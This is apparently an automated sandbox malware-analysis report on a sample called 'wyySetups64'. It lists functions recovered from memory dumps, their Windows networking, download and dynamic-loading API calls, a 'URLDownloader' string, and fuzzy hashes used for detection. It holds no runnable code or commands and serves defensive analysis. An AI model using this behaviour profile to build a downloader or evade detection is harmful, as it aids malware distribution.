0Gl, xrefs: 1000CEDD, 1000CF1B, 1000D00A, 1000D005, 1000CF94, 1000D019, 1000CF8F, 1000D01E, 1000CF2F, 1000CF34, 1000CF20, 1000CED8

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$?width@ios_base@std@@$?rdbuf@?$basic_ios@D@std@@@2@V?$basic_streambuf@$?fill@?$basic_ios@?sputc@?$basic_streambuf@$?flags@ios_base@std@@?setstate@?$basic_ios@?sputn@?$basic_streambuf@
String ID: 0Gl$0Gl
API String ID: 4125389999-964914055
Opcode ID: d7ddfb35de5600b2af610cc6f86c0c04c4b658ff1ac8b4a744557df133d45fe0
Instruction ID: 9f71a8f020fe28d290ef7ad39ca2b4630c2ccf5d8ae75f0951f39d4c8cecbd13
Opcode Fuzzy Hash: d7ddfb35de5600b2af610cc6f86c0c04c4b658ff1ac8b4a744557df133d45fe0
Instruction Fuzzy Hash: 35B1C974D00259DFEB04CF94C895BADBBB1FF48344F208169E90AAB359CB34A985CF90

Function 00D60097 Relevance: 19.7, APIs: 13, Instructions: 163networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00D600BA
getaddrinfo.WS2_32(100170B4,10013B50,?,00000000), ref: 00D60101
WSACleanup.WS2_32 ref: 00D60110
socket.WS2_32(?,?,?), ref: 00D60159
WSACleanup.WS2_32 ref: 00D6016D

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: Cleanup$Startupgetaddrinfosocket
String ID:
API String ID: 2560534018-0
Opcode ID: 629c58ebb369c9a4567a25f7efc7421930806d5ddf401b53f73b529e587ce57b
Instruction ID: 0e3ab589b0ba76d469b4a7bb864190b3172f5b3d61201563e7ec9d532e8d1605
Opcode Fuzzy Hash: 629c58ebb369c9a4567a25f7efc7421930806d5ddf401b53f73b529e587ce57b
Instruction Fuzzy Hash: E361F6B0945225EFEB04DFA8CDC8B9E7BB4FB0C311F108299E509A72A0C734D940DB65

Function 00D51B87 Relevance: 15.1, APIs: 10, Instructions: 143networkwindowfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(10012448,00000001,00000000,00000000,00000000), ref: 00D51BA1
InternetOpenUrlA.WININET(?,?,00000000,00000000,80000000,00000000), ref: 00D51BBD
HttpQueryInfoW.WININET(?,20000005,00000000,00000004,00000000), ref: 00D51C04
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00D51C21
InternetReadFile.WININET(?,?,00001000,?), ref: 00D51C3C
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 00D51CF2
InternetCloseHandle.WININET(?), ref: 00D51D0F
InternetCloseHandle.WININET(?), ref: 00D51D19
GetParent.USER32(?), ref: 00D51D23
ShowWindow.USER32(?,00000000), ref: 00D51D32

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: Internet$CloseHandleMessageOpenSend$FileHttpInfoParentQueryReadShowWindow
String ID:
API String ID: 2293700532-0
Opcode ID: 8167bd165008061e034a8e8451ddf05a0f2f7158e41ec6c26d4c78a1f0855317
Instruction ID: 75be2450914abc55f55bfa557e669d05833de7a14dff8319154afc41bb92b828
Opcode Fuzzy Hash: 8167bd165008061e034a8e8451ddf05a0f2f7158e41ec6c26d4c78a1f0855317
Instruction Fuzzy Hash: 17513BB5D40218BBEB00DFA4CC85BEEB774FF49701F148608FA05BA190D775AA90CB60

Function 00D51807 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 153windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00D51829

Part of subcall function 00D515D7: SHGetKnownFolderPath.SHELL32(10012340,00000000,00000000,00000000), ref: 00D51632
Part of subcall function 00D515D7: CoTaskMemFree.COMBASE(00000000), ref: 00D51685

RegisterClassW.USER32(?), ref: 00D51984
CreateWindowExW.USER32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00D519BF
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 00D519CE
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D519F5
TranslateMessage.USER32(?), ref: 00D51A03
DispatchMessageW.USER32(?), ref: 00D51A0D

Strings

URLDownloader, xrefs: 00D51935

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: Message$Window$ClassCreateDispatchFolderFreeHandleKnownModulePathRegisterShowTaskTranslate
String ID: URLDownloader
API String ID: 1820083345-1891997712
Opcode ID: ad90597b90d91a76d6bc916b8ac211ae3b74ff0302ccb105c1be54824f9a3ca4
Instruction ID: 087d34f99c958e48c5109b8a3ae454b837f23f7b11dd3f31f5e86199cdc8dbc7
Opcode Fuzzy Hash: ad90597b90d91a76d6bc916b8ac211ae3b74ff0302ccb105c1be54824f9a3ca4
Instruction Fuzzy Hash: 0A5109B1D00258AFDB14DFA8CC45BEEBBB4FF59300F108169E919A7290EB755A48CF61

Function 10010CB7 Relevance: 13.6, APIs: 9, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 10010CFE
___scrt_uninitialize_crt.LIBCMT ref: 10010D18

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 649f4d9b7be6ac56b36da947fabe160b4803ea2d6c825da84b9566d7c5061089
Instruction ID: 82a901a5c9dd6496ef150d4dfe0cb85e0fd21509eb0d390bdb30e226946f8a75
Opcode Fuzzy Hash: 649f4d9b7be6ac56b36da947fabe160b4803ea2d6c825da84b9566d7c5061089
Instruction Fuzzy Hash: CD41BF76F00269EBDB20CF95DC41BAE3AB5FB40AA4F114919F8956F251C7B0ED818BD0

Function 00D51147 Relevance: 13.6, APIs: 9, Instructions: 87librarywindowloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(10012398), ref: 00D51152
GetProcAddress.KERNEL32(?,100123AC), ref: 00D51164
GetProcAddress.KERNEL32(?,100123C0), ref: 00D51178
GetModuleHandleA.KERNEL32(00000000), ref: 00D511D4
RegisterClassW.USER32(?), ref: 00D511E8
CreateWindowExW.USER32(00000000,100123D8,100123EC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00D5120D
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D51228
TranslateMessage.USER32(?), ref: 00D51236
DispatchMessageW.USER32(?), ref: 00D51240

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: Message$AddressProc$ClassCreateDispatchHandleLibraryLoadModuleRegisterTranslateWindow
String ID:
API String ID: 3658383123-0
Opcode ID: 242d59c1bcc2ed5713fb3f605fd77491e9c67476cdc2317376c21f7694c6bbad
Instruction ID: c9d5589aeea263cbb16c356da2d834899cf373036a9ac9fe70c4cce0f739ed01
Opcode Fuzzy Hash: 242d59c1bcc2ed5713fb3f605fd77491e9c67476cdc2317376c21f7694c6bbad
Instruction Fuzzy Hash: 03310BB4D40318AFEB14DFD5CC89BADBBB4FF48701F108119FA0AA6290D7749694CB10

Function 1000B4A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B4D7
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B4E4
?epptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B4EF
?_Pninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 1000B50B

Strings

, xrefs: 1000B58B

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pptr@?$basic_streambuf@$?epptr@?$basic_streambuf@Pninc@?$basic_streambuf@
String ID:
API String ID: 1504536088-3916222277
Opcode ID: bf89f8f8861aed1ab7b692ef0b5d7095335db410b563b161b5768633909dd48d
Instruction ID: 9fd4f056ea7531655faf49f776dc9014e5164f0190cfa771b6f3da1c1fb63bf9
Opcode Fuzzy Hash: bf89f8f8861aed1ab7b692ef0b5d7095335db410b563b161b5768633909dd48d
Instruction Fuzzy Hash: 085173B5D00609EFEB05CFD4C885EEEBBB5EF04381F048199E901A7259DB35AE44CBA1

Function 1000B020 Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B042
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B04F
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B05A
?_Gninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 1000B067

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?egptr@?$basic_streambuf@Gninc@?$basic_streambuf@
String ID:
API String ID: 623893373-0
Opcode ID: 686d5d765f072bde6da808c523b0d64b58909c4bdd405a7af84071ee35900531
Instruction ID: 8fa48943700a81e2c9b2cfce0a1ddd9ba30b149aeda4daa259b851e8e9bcb32b
Opcode Fuzzy Hash: 686d5d765f072bde6da808c523b0d64b58909c4bdd405a7af84071ee35900531
Instruction Fuzzy Hash: DE7138B5C0061DDFEB15DFA4C995AEEB7B5FF08290F104229E416B7299EB306E04CB91

Function 1000AEB0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPAD_J@Z.MSVCP140(?,?,00000000), ref: 1000AEE8
?_Gnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 1000AF08
_Min_value.LIBCPMTD ref: 1000AF1F
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?), ref: 1000AF33
?gbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 1000AF5F
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000FFF,00000000), ref: 1000AF9D
fread.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,00000000), ref: 1000AFEE

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$fread$?gbump@?$basic_streambuf@?gptr@?$basic_streambuf@?xsgetn@?$basic_streambuf@Gnavail@?$basic_streambuf@Min_value
String ID:
API String ID: 1591557727-0
Opcode ID: 05a9cec6a7bdc9e916f7dfb027493f280f4e908c6d3ff45262789d5ffb131775
Instruction ID: a7373feddb38768cb8e80fdeb6ca424b68bff663277300cca749af404b47d492
Opcode Fuzzy Hash: 05a9cec6a7bdc9e916f7dfb027493f280f4e908c6d3ff45262789d5ffb131775
Instruction Fuzzy Hash: 1551D8B5E00209EFDB04DFA8C984AEEBBB1FF48344F108169E915A7354D730AE95DB50

Function 10010D65 Relevance: 10.6, APIs: 7, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 10010DA2
dllmain_crt_dispatch.LIBCMT ref: 10010DB9
_DllMain@12.MSVCRT ref: 10010DD0
_DllMain@12.MSVCRT ref: 10010DE8
dllmain_raw.LIBCMT ref: 10010E01
dllmain_crt_dispatch.LIBCMT ref: 10010E14
dllmain_raw.LIBCMT ref: 10010E27

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: dllmain_raw$Main@12dllmain_crt_dispatch
String ID:
API String ID: 3353612457-0
Opcode ID: 51ffbf4d7ebe4a4557a9ec6990cc1df8eb7d6e0f0daaa4ef435442b776e98115
Instruction ID: 64606688521fabd1402afb0874e896261f6c1f2fbb559040e4c03d6bc464acc4
Opcode Fuzzy Hash: 51ffbf4d7ebe4a4557a9ec6990cc1df8eb7d6e0f0daaa4ef435442b776e98115
Instruction Fuzzy Hash: D0216B76F00269EEDB21CF56DC41AAF3AA9EB80AD4F014919F8945F210C7B0DD918BE0

Function 1000B350 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B35D
?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B36E
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B379
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?), ref: 1000B3A3
?_Gndec@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 1000B3D3

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?eback@?$basic_streambuf@Gndec@?$basic_streambuf@
String ID:
API String ID: 4206206407-0
Opcode ID: a80ac29afee63ac313f60e84a30f3a0ede3531dd630a483fc897834597ea8dcd
Instruction ID: f7c15c91105892140f05b25e0fcfcadb8d2072b0e91d30d5794a3d544de0fed2
Opcode Fuzzy Hash: a80ac29afee63ac313f60e84a30f3a0ede3531dd630a483fc897834597ea8dcd
Instruction Fuzzy Hash: 6E31CEB9D00208ABEB04DFA4D8959AE7B75EF442C0F04C469F8059B24BEB31EE45CB51

Function 1000BEC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 1000CAC0: ?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ.MSVCP140(?,1000BEEA,1000CEAD,1000CEAD,0Gl), ref: 1000CAE4

?good@ios_base@std@@QBE_NXZ.MSVCP140(1000CEAD,1000CEAD), ref: 1000BEFC
?tie@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_ostream@DU?$char_traits@D@std@@@2@XZ.MSVCP140 ref: 1000BF1D

Strings

0Gl, xrefs: 1000BED0

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@2@D@std@@@std@@$?good@ios_base@std@@?rdbuf@?$basic_ios@?tie@?$basic_ios@V?$basic_ostream@V?$basic_streambuf@
String ID: 0Gl
API String ID: 3792166412-169490322
Opcode ID: ae12adcc2c32b88dafc5603b844eb9ac3b5d40635a87f722cfffed01479731d9
Instruction ID: 6403fa240c7e006dd5772fa615f9af8d9caa538eb968de4636cddec1bc8cd2ef
Opcode Fuzzy Hash: ae12adcc2c32b88dafc5603b844eb9ac3b5d40635a87f722cfffed01479731d9
Instruction Fuzzy Hash: EF216D7460064AEFD704CF54C984BAEBBB1FF49344F14C269E8165B391C730E940CB91

Function 1000AD90 Relevance: 7.6, APIs: 5, Instructions: 100fileCOMMON

Download Yara Rule

APIs

?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPBD_J@Z.MSVCP140(?,?,?), ref: 1000ADB1
?_Pnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 1000ADCB
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(00000000,?), ref: 1000AE1C
?pbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 1000AE4D
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 1000AE7C

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pbump@?$basic_streambuf@?pptr@?$basic_streambuf@?xsputn@?$basic_streambuf@Pnavail@?$basic_streambuf@fwrite
String ID:
API String ID: 1074265955-0
Opcode ID: 03ae3c2052802fc7122480744b0963d50f24e8686e0047993b433f27272eacd6
Instruction ID: ac6967b09ea6245ec4af0dc33b80ef160fb563bc847464cada0f3494a0eb2000
Opcode Fuzzy Hash: 03ae3c2052802fc7122480744b0963d50f24e8686e0047993b433f27272eacd6
Instruction Fuzzy Hash: EB41E375D00289EFEB08DF98C884A9EB7B1FF88344F10C659E9299B254D730AE94CF50

Function 10004020 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,00000000), ref: 10004037
memset.VCRUNTIME140(?,00000000,?), ref: 10004074
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?), ref: 10004091
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 100040A9
memset.VCRUNTIME140(?,00000000,?), ref: 100040D7

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: ByteCharMultiWide$memset
String ID:
API String ID: 1216362210-0
Opcode ID: d8278ef5e5963c6c9a9663513e54bc5aa314779fc6fd0523c811705f5206c5ec
Instruction ID: d5d2fc12e147d12df5ef18d66f66630be37a1d65e2a688cbbcfc70e5b1a43c84
Opcode Fuzzy Hash: d8278ef5e5963c6c9a9663513e54bc5aa314779fc6fd0523c811705f5206c5ec
Instruction Fuzzy Hash: 2D3152B5F40208BFEB14DF98CC86FAEB7B5EB48710F204254F615AB2C1D671AA50CB65

Function 00D60D3C Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 00D60D79
_DllMain@12.MSVCRT ref: 00D60DA7
_DllMain@12.MSVCRT ref: 00D60DBF
dllmain_raw.LIBCMT ref: 00D60DD8
dllmain_raw.LIBCMT ref: 00D60DFE

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: dllmain_raw$Main@12
String ID:
API String ID: 2964726511-0
Opcode ID: f7f534ad3ff482a18bf34d6bcd0cd3489ad4272e78613ad43f56d35246dc062b
Instruction ID: 73da00bd0c64a5ef642172904fbafdee2b0d63e79866cc379f48f122d4946d89
Opcode Fuzzy Hash: f7f534ad3ff482a18bf34d6bcd0cd3489ad4272e78613ad43f56d35246dc062b
Instruction Fuzzy Hash: 2B21AE72D00669ABCF219E55CC41E6F3E69EB84B94B094619F8086B611D7329D42CFB0

Function 100107D5 Relevance: 7.5, APIs: 5, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000152C,00001000,?,10003C5D,00001000), ref: 100107DD
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000152C,00001000,?,10003C5D,00001000), ref: 100107EA
_CxxThrowException.VCRUNTIME140(?,10014F2C), ref: 10010EED
stdext::threads::lock_error::lock_error.LIBCPMTD ref: 10010EFC
_CxxThrowException.VCRUNTIME140(?,10014F90), ref: 10010F0A

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmallocstdext::threads::lock_error::lock_error
String ID:
API String ID: 1722040371-0
Opcode ID: 046d961c1e0df506dca93b3cd0f00a3e9d42ff5419843ba781d4adb65e5c8679
Instruction ID: 6d4aa4042b719817879ad19d1f1f5d821abcde10b660f97fd496c7bb52ecdeee
Opcode Fuzzy Hash: 046d961c1e0df506dca93b3cd0f00a3e9d42ff5419843ba781d4adb65e5c8679
Instruction Fuzzy Hash: E8F0BE38D0420DBACB04EAB5EC469DEB7ACEF00290F104530B964AD4E1EFB1F6D58A95

Function 10010720 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(100172D4,URLDownloader,?,100017A9,100176B8,?,?,?,?,?,?,100019DB,10017674,00C40000,80000000,80000000), ref: 1001072A
ReleaseSRWLockExclusive.KERNEL32(100172D4,?,100017A9,100176B8,?,?,?,?,?,?,100019DB,10017674,00C40000,80000000,80000000,00000190), ref: 1001075D
WakeAllConditionVariable.KERNEL32(100172D0,?,100017A9,100176B8,?,?,?,?,?,?,100019DB,10017674,00C40000,80000000,80000000,00000190), ref: 10010768

Strings

URLDownloader, xrefs: 10010723

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionReleaseVariableWake
String ID: URLDownloader
API String ID: 1466638765-1891997712
Opcode ID: 135d216f9536d5fef4871bc611d23d6ad4692f8f9cf4bb8f7097ed8d31648b84
Instruction ID: 3181bbcb2b9caa1ef0c1f22c926e586b91b1f05f2254f4f57ba8959088f3d27b
Opcode Fuzzy Hash: 135d216f9536d5fef4871bc611d23d6ad4692f8f9cf4bb8f7097ed8d31648b84
Instruction Fuzzy Hash: A0F0C975900224DFE71ADF58DC88A9577B8FB0D350B018069F909C7322CB34E911CB54

Function 00D5F057 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00D5FF47: NdrClientCall2.RPCRT4 ref: 00D5FF66

CoTaskMemFree.COMBASE(00000000), ref: 00D5F16C
CoTaskMemFree.COMBASE(00000000), ref: 00D5F179

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: FreeTask$Call2Client
String ID:
API String ID: 3085621743-0
